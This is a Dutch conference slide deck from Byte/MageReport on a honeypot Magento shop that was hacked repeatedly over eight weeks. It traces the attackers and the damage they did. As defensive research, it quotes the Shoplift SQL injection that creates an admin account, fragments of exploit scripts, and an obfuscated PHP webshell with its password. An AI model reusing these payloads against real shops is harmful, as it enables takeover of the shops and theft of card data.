Hackers traced, a case study
17× gehackt in 8 weken, we pakken ze terug!
ing. Tim Muller, developer @ Byte / MageReport.com
Hoe het begon
Onze eigen shop werd - tot onze
schande - gehackt via Shoplift
Tijd voor een experiment!
Hoe komen hackers binnen?
Wat doen ze met de shop?
Wat houden we aan het eind over?
Methode
Nauw volgen wat de hackers
uitvoeren & wat voor impact dit
heeft op de shop.
Precies het tegenovergestelde doen!
We bouwen een "unmanaged VPS" met
standaard 1.9.0 installatie.
Stap 1: Strippen van Hypernode
Filters op de bekende aanvalspatronen
Heuristische lters op nieuwe aanvallen
Rate limits op bots en onbekende logins
Directory listing aan voor bijv. /var/cache en .git bestanden
Stap 2: Aanpassen Magento
Installeren standaard Magmi
Standaard admin url met admin account 'admin123'
Stap 3: Toevoegen forensische maatregelen
Legitiem verkeer blokkeren (zoekmachines)
Uitschakelen SSL
TCPDUMP
IJk-kopie van database en les
Root-protected Git repository
Redirect uitgaande mail
Logrotatie uit
Periodieke vergelijking van veranderingen ( les & database)
ufw deny from 62.4.6.50/24
tcpdump -pni eth0 -s65535 -G 86400 -w 'trace_%u.pcap' port not 22
Stap 4: Analyseren van gedrag
Regelmatig kopiëren van bewijs
De accesslogs strippen van ruis
Scripts voor herproduceerbaar resultaat
Git noti catie
Database noti catie
Overzicht Admin-accounts
Datum Naam Achternaam E-mail
2016-03-11 Byte Shop timwillem@magereport.com
2016-03-21 Firstname Lastname email@example.com
2016-03-25 Firstname Lastname email@example.com
2016-04-05 Firstname Lastname email@example.com
2016-04-17 Firstname Lastname c937ed8f1ebea18@telekpitekwashere.cok
2016-04-20 Firstname Lastname 410a9be9481e788@telekpitekwashere.cok
2016-04-24 Firstname Lastname 3af418a16597a7f@telekpitekwashere.cok
2016-04-30 Firstname Lastname 45637e7fb24cfc0@telekpitekwashere.cok
2016-05-04 Firstname Lastname 6e23512a4034d96@telekpitekwashere.cok
Admin accounts email@example.com
Admin gebruikers 'ghaz', 'sadmin' & 'temp_admin'
104.41.210.214 POST /index.php/admin/Cms_Wysiwyg/directive/index/
popularity[from]=0&popularity[to]=3&popularity[field_expr]=0); 
SET @SALT = 'rp'; 
SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'asdf') ), CONCAT(':', @SALT )); 
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; 
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`, 
    `lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) 
     VALUES ('Firstname','Lastname','email@example.com', 
            'ghaz',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW()); 
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) 
     VALUES (1,2,0,'U',(SELECT user_id FROM admin_user 
                        WHERE username = 'ghaz'),'Firstname');
Admin account email@example.com
argparse.ArgumentParser(description='Exploit for Magento Shoplift Vulnerability')
options.add_argument('­m', '­­malware', action='store_true', default=False, 
              help='Install the PHP malware')
malwareDropper = "...INSERT INTO `core_file_storage`..." 
Assault = filt + adminMake + malwareDropper + commenter 
latent2 = latent2 + b64encode(Assault) 
r = requests.post(mageRoot, headers=headers, data={'filter' : latent2, 
      '___directive' : latent1, 'forwarded': '1'}, allow_redirects=True) 
         
Database storage is een interessant doel voor het
uploaden van malware door /get.php
"It's a old-rod"
README.md op Github:
"*oldrod is the shing rod tool from Pokemon. In
the Gen I Pokemon games, all it could catch was
Lvl.5 Magikarp *Although, at the time of writing,
there are 65,377 vulnerable Magento installs and
counting^, They all seem like Lvl.5 Magikarp to
me. All the Gyrados wisened up."
Admin account @telekpitekwashere.cok
Dezelfde SQL injection techniek
/* ++++++++++++++++++++++++++++++++++ 
    ShopLift Exploiter Beta Version 
        Author : FathurFreakz 
    Use : php thisfile.php "Dork" 
        YOGYAKARTA BLACK HAT 
        Special Thanks to 
      Nabiila Rizqi Khasanah 
   +++++++++++++++++++++++++++++++++ 
*/
Admin account @telekpitekwashere.cok
ShopLift Exploiter Beta Version
"Dork" is de target
233 regels aan search engine crawl code
Leest /etc/local.xml (ook via Magmi)
Ons eigen admin account is overgenomen ☹
Op 5 april is het originele account overgenomen door 'majid'
Via Shoplift admin account 'sadmin'
Via MagPleasure 'File_System' aanpassen van /api.php
/api.php
<?php
$auth_pass = "6b5b0dd03c9c85725032ce5f3a0918ae"; //password: enzo 
function onESs($NTlWmu){ 
  $NTlWmu=gzinflate(base64_decode($NTlWmu)); 
  for($i=0;$i<strlen($NTlWmu);$i++){ 
    $NTlWmu[$i] = chr(ord($NTlWmu[$i])­1); 
  } 
  return $NTlWmu; 
} 
eval(onESs("LX33juPqcucDGPA7HBj...knmClb6l7///d/+9//6/w==")) 
?> 
/api.php e-mail
/api.php, wat doet het?
Geeft 404 Not found als:
de user-agent een zoekmachine is
de credentials niet goed zijn
de GET requesten niet geauthenti ceerd zijn
/api.php, wat doet het?
FilesMan
/api.php, wat heeft de hacker gedaan?
/magmi/tests/imports/ImportSuite1Test.php bekeken (?)
Upload en uitpakken van fortuneo.zip naar js/lib/
js/lib/bloge/identi cation/con g.db1.php aangepast
js/lib/bloge/identi cation/con g.db2.php aangepast
< $send = "mehdiga96@gmail.com";
> $send = "konate.drr@gmail.com";
6 verschillende IPs
/api.php, wat heeft de hacker gedaan?
fortuneo.zip
Blacksmith Hackers Team
<title>MrGHOST PRiv8 sHeLL</title>
<a href="https://facebook.com/blacksmith.hackers"> 
        <img src="data:image/png;base64,iVBORw0KGgoAAAANSU.."></a> 
           
8 weken later...
8 weken later...
26749 brute force requests op /admin
150 Shoplift aanvallen
9 extra admin accounts
365 extra les toegevoegd
10 phishing pagina's
8 weken later...
Achter de schermen heeft shop.byte.nl nu ook
Webshells
Phishing pagina's
Proxies naar andere sites
En de schade
(Franse) creditcardgegevens en bankgegevens gelekt
De controle over de shop kwijt
De codebase is vervuild
Proberen ze zich te verbergen?
Methode van verbergen
Obscure code (eval, base64 gzin ate) ^ 2
Random hashes in URL
Google Crawlers en GET requesten worden tegengehouden
Toont pas de lemanager wanneer credentials juist zijn
Meta headers redirect naar externe website
Fake user-agents bijv. Google
Proberen ze zich te verbergen?
Geen moeite doen
Admin accounts
Brute forces op admin accounts
Overnemen van de admin
Rondslingeren van bestanden
Geen nieuwe patches, toch gehackt!
Mogelijk hebben de 'boeven' een nieuwe manier gevonden.
Onderzoek de hack, deel of betrek ons (Byte/MageReport) erbij
Wat wij kunnen:
Wat wij kunnen betekenen
Omvang van de hack onderzoeken
Security check op MageReport met een groot bereik van
shophouders
Communicatie met Magento
Dank jullie wel!
Vragen?
Heb je een hack gevonden?
Deel hem graag met code@magereport.com

Hackers traced - Meet Magento 2016

  • 1.
    Hackers traced, acase study 17× gehackt in 8 weken, we pakken ze terug! ing. Tim Muller, developer @ Byte / MageReport.com
  • 2.
    Hoe het begon Onzeeigen shop werd - tot onze schande - gehackt via Shoplift
  • 3.
    Tijd voor eenexperiment! Hoe komen hackers binnen? Wat doen ze met de shop? Wat houden we aan het eind over?
  • 4.
    Methode Nauw volgen watde hackers uitvoeren & wat voor impact dit heeft op de shop. Precies het tegenovergestelde doen! We bouwen een "unmanaged VPS" met standaard 1.9.0 installatie.
  • 5.
    Stap 1: Strippenvan Hypernode Filters op de bekende aanvalspatronen Heuristische lters op nieuwe aanvallen Rate limits op bots en onbekende logins Directory listing aan voor bijv. /var/cache en .git bestanden
  • 6.
    Stap 2: AanpassenMagento Installeren standaard Magmi Standaard admin url met admin account 'admin123'
  • 7.
    Stap 3: Toevoegenforensische maatregelen Legitiem verkeer blokkeren (zoekmachines) Uitschakelen SSL TCPDUMP IJk-kopie van database en les Root-protected Git repository Redirect uitgaande mail Logrotatie uit Periodieke vergelijking van veranderingen ( les & database) ufw deny from 62.4.6.50/24 tcpdump -pni eth0 -s65535 -G 86400 -w 'trace_%u.pcap' port not 22
  • 8.
    Stap 4: Analyserenvan gedrag Regelmatig kopiëren van bewijs De accesslogs strippen van ruis Scripts voor herproduceerbaar resultaat
  • 9.
  • 10.
  • 11.
    Overzicht Admin-accounts Datum NaamAchternaam E-mail 2016-03-11 Byte Shop timwillem@magereport.com 2016-03-21 Firstname Lastname email@example.com 2016-03-25 Firstname Lastname email@example.com 2016-04-05 Firstname Lastname email@example.com 2016-04-17 Firstname Lastname c937ed8f1ebea18@telekpitekwashere.cok 2016-04-20 Firstname Lastname 410a9be9481e788@telekpitekwashere.cok 2016-04-24 Firstname Lastname 3af418a16597a7f@telekpitekwashere.cok 2016-04-30 Firstname Lastname 45637e7fb24cfc0@telekpitekwashere.cok 2016-05-04 Firstname Lastname 6e23512a4034d96@telekpitekwashere.cok
  • 12.
    Admin accounts email@example.com Admingebruikers 'ghaz', 'sadmin' & 'temp_admin' 104.41.210.214 POST /index.php/admin/Cms_Wysiwyg/directive/index/ popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);  SET @SALT = 'rp';  SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'asdf') ), CONCAT(':', @SALT ));  SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;  INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,      `lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`)       VALUES ('Firstname','Lastname','email@example.com',              'ghaz',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());  INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name)       VALUES (1,2,0,'U',(SELECT user_id FROM admin_user                          WHERE username = 'ghaz'),'Firstname');
  • 13.
    Admin account email@example.com argparse.ArgumentParser(description='Exploit for Magento Shoplift Vulnerability') options.add_argument('­m', '­­malware', action='store_true', default=False,               help='Install the PHP malware') malwareDropper = "...INSERT INTO `core_file_storage`..."  Assault = filt + adminMake + malwareDropper + commenter  latent2 = latent2 + b64encode(Assault)  r = requests.post(mageRoot, headers=headers, data={'filter' : latent2,        '___directive' : latent1, 'forwarded': '1'}, allow_redirects=True)            Database storage is een interessant doel voor het uploaden van malware door /get.php
  • 14.
    "It's a old-rod" README.mdop Github: "*oldrod is the shing rod tool from Pokemon. In the Gen I Pokemon games, all it could catch was Lvl.5 Magikarp *Although, at the time of writing, there are 65,377 vulnerable Magento installs and counting^, They all seem like Lvl.5 Magikarp to me. All the Gyrados wisened up."
  • 15.
    Admin account @telekpitekwashere.cok DezelfdeSQL injection techniek /* ++++++++++++++++++++++++++++++++++      ShopLift Exploiter Beta Version          Author : FathurFreakz      Use : php thisfile.php "Dork"          YOGYAKARTA BLACK HAT          Special Thanks to        Nabiila Rizqi Khasanah     +++++++++++++++++++++++++++++++++  */
  • 16.
    Admin account @telekpitekwashere.cok ShopLiftExploiter Beta Version "Dork" is de target 233 regels aan search engine crawl code Leest /etc/local.xml (ook via Magmi)
  • 17.
    Ons eigen adminaccount is overgenomen ☹ Op 5 april is het originele account overgenomen door 'majid' Via Shoplift admin account 'sadmin' Via MagPleasure 'File_System' aanpassen van /api.php
  • 18.
  • 19.
  • 20.
    /api.php, wat doethet? Geeft 404 Not found als: de user-agent een zoekmachine is de credentials niet goed zijn de GET requesten niet geauthenti ceerd zijn
  • 21.
    /api.php, wat doethet? FilesMan
  • 22.
    /api.php, wat heeftde hacker gedaan? /magmi/tests/imports/ImportSuite1Test.php bekeken (?) Upload en uitpakken van fortuneo.zip naar js/lib/ js/lib/bloge/identi cation/con g.db1.php aangepast js/lib/bloge/identi cation/con g.db2.php aangepast < $send = "mehdiga96@gmail.com"; > $send = "konate.drr@gmail.com"; 6 verschillende IPs
  • 23.
    /api.php, wat heeftde hacker gedaan? fortuneo.zip
  • 24.
    Blacksmith Hackers Team <title>MrGHOST PRiv8 sHeLL</title> <a href="https://facebook.com/blacksmith.hackers">         <img src="data:image/png;base64,iVBORw0KGgoAAAANSU.."></a>             
  • 25.
  • 26.
    8 weken later... 26749brute force requests op /admin 150 Shoplift aanvallen 9 extra admin accounts 365 extra les toegevoegd 10 phishing pagina's
  • 27.
    8 weken later... Achterde schermen heeft shop.byte.nl nu ook Webshells Phishing pagina's Proxies naar andere sites
  • 28.
    En de schade (Franse)creditcardgegevens en bankgegevens gelekt De controle over de shop kwijt De codebase is vervuild
  • 29.
    Proberen ze zichte verbergen? Methode van verbergen Obscure code (eval, base64 gzin ate) ^ 2 Random hashes in URL Google Crawlers en GET requesten worden tegengehouden Toont pas de lemanager wanneer credentials juist zijn Meta headers redirect naar externe website Fake user-agents bijv. Google
  • 30.
    Proberen ze zichte verbergen? Geen moeite doen Admin accounts Brute forces op admin accounts Overnemen van de admin Rondslingeren van bestanden
  • 31.
    Geen nieuwe patches,toch gehackt! Mogelijk hebben de 'boeven' een nieuwe manier gevonden. Onderzoek de hack, deel of betrek ons (Byte/MageReport) erbij
  • 32.
    Wat wij kunnen: Watwij kunnen betekenen Omvang van de hack onderzoeken Security check op MageReport met een groot bereik van shophouders Communicatie met Magento
  • 33.
    Dank jullie wel! Vragen? Hebje een hack gevonden? Deel hem graag met code@magereport.com